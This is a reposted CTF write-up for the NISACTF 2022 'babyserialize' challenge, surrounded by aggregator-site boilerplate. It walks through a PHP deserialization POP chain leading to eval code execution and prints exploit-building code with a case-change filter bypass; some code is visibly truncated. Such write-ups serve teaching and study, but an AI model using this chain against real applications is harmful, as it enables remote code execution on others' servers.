我的编程空间,编程开发者的网络收藏夹
学习永远不晚

关于[NISACTF 2022]babyserialize详解

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

关于[NISACTF 2022]babyserialize详解

前言

先甩出PHP的魔术方法。

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct():反序列化的时候,或者对象销毁的时候调用__wakeup():反序列化的时候调用__sleep():序列化的时候调用__toString():把类当成字符串的时候调用,一般在echo处生效__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__get():读取不可访问或者不存在的属性的时候,进行赋值__call():在对象中调用一个不可访问的方法的时候,会被执行

题解

对于反序列化pop链进行分析的时候,我喜欢去进行反推处理,我感觉比正推容易很多,这里也是推荐给大家一个方法去进行反推。

代码

fun=="show_me_flag"){            hint();        }    }    function __call($from,$val){        $this->fun=$val[0];    }    public function __toString()    {        echo $this->fun;        return " ";    }    public function __invoke()    {        checkcheck($this->txw4ever);        @eval($this->txw4ever);    }}class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}class Ilovetxw{    public $huang;    public $su;    public function __call($fun1,$arg){        $this->huang->fun=$arg[0];    }    public function __toString(){        $bb = $this->su;        return $bb();    }}class four{    public $a="TXW4EVER";    private $fun='abc';    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }    }}if(isset($_GET['ser'])){    @unserialize($_GET['ser']);}else{    highlight_file(__FILE__);}

解题思路

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。

__invoke魔术方法是对象被当做函数进行调用的时候所触发

这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

__ToString方法,是对象被当做字符串的时候进行自动调用

(3)__toString反推到__set

在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
在这里插入图片描述这里就可以存在把对象当做字符串进行操作。

(4)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用__call:对不存在的方法或者不可访问的方法进行调用就自动调用

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

思路总结图解

在这里插入图片描述

构造exp

ext=new ilovetxw;$a->ext->huang=new four;$a->ext->huang->a=new ilovetxw;$a->ext->huang->a->su=new nisa;echo urlencode(serialize($a));

发现something wrong…
这里进行常规大小写转换,就可以绕过

ext=new ilovetxw;$a->ext->huang=new four;$a->ext->huang->a=new ilovetxw;$a->ext->huang->a->su=new nisa;echo urlencode(serialize($a));

就可以读到flag

总结

这道题还是对pop链的构造的一个深入了解,考了一个eval代码执行的小trick技巧,也是比较简单,总体来说,不太复杂,较为基础。

来源地址:https://blog.csdn.net/weixin_57222016/article/details/124620719

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

关于[NISACTF 2022]babyserialize详解

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

关于Java的Character类详解

这篇文章主要介绍了关于Java的Character类详解,Java中的Character类是一个包装类,用于封装一个基本数据类型char的值,它提供了一些静态方法来操作字符,需要的朋友可以参考下
2023-05-20

关于RIPv2协议的详解

  这篇文章主要给大家讲解一下关于RIPv2的增强特性以及对RIPv2对CIDR和VLSM的支持、RIPv2手动汇总、RIPv2验证以及与RIPv1的共存进行演示演示。对cnna感兴趣的各位可以关注一下。  (一)RIPv2增强特性  RIPv2跟RIPv1的相同点:  用跳数作为度量值,最大值为15:  同样是距离矢
关于RIPv2协议的详解
2024-04-17

关于HTML表单的详解

编程学习网:HTML表单是HTML的一个重要部分,它的作用主要是采集以及提交用户输入的信息。今天,小编就给大家介绍一下html的表单。对html感兴趣的大家可以了解一下。
关于HTML表单的详解
2024-04-23

关于MySQL的ORDERBY排序详解

这篇文章主要介绍了关于MySQL的ORDERBY排序详解,如果没有使用排序操作,默认情况下查询返回的数据是按照添加数据的顺序显示的,需要的朋友可以参考下
2023-05-19

Nodejs关于gzip/deflate压缩详解

0x01.关于 写http时候,在接收http请求时候,出现乱码,后来发现是gzip没有解压。 关于gzip/deflate压缩,有放入管道压缩,和非管道压缩方法。 0x02.管道压缩 Node中的I/O是异步的,因此对磁盘和网络的读写需要
2022-06-04

关于Python卷积函数详解

这篇文章主要介绍了Python关于卷积的理解,文中有详细的代码示例,具有很好的参考价值,希望对大家有所帮助
2023-05-16

关于MySql的kill命令详解

目录mysql的kill命令一、收到 kill 以后,线程做什么?二、另外两个关于客户端的误解1、如果库里面的表特别多,连接就会很慢。2、加–quick(或者简写为 -q) 参数,也可以跳过这个阶段三、总结MySql的kill命
2023-05-16

关于elasticsearch的match_phrase_prefix查询详解

这篇文章主要介绍了关于elasticsearch的match_phrase_prefix查询问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
2023-03-21

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录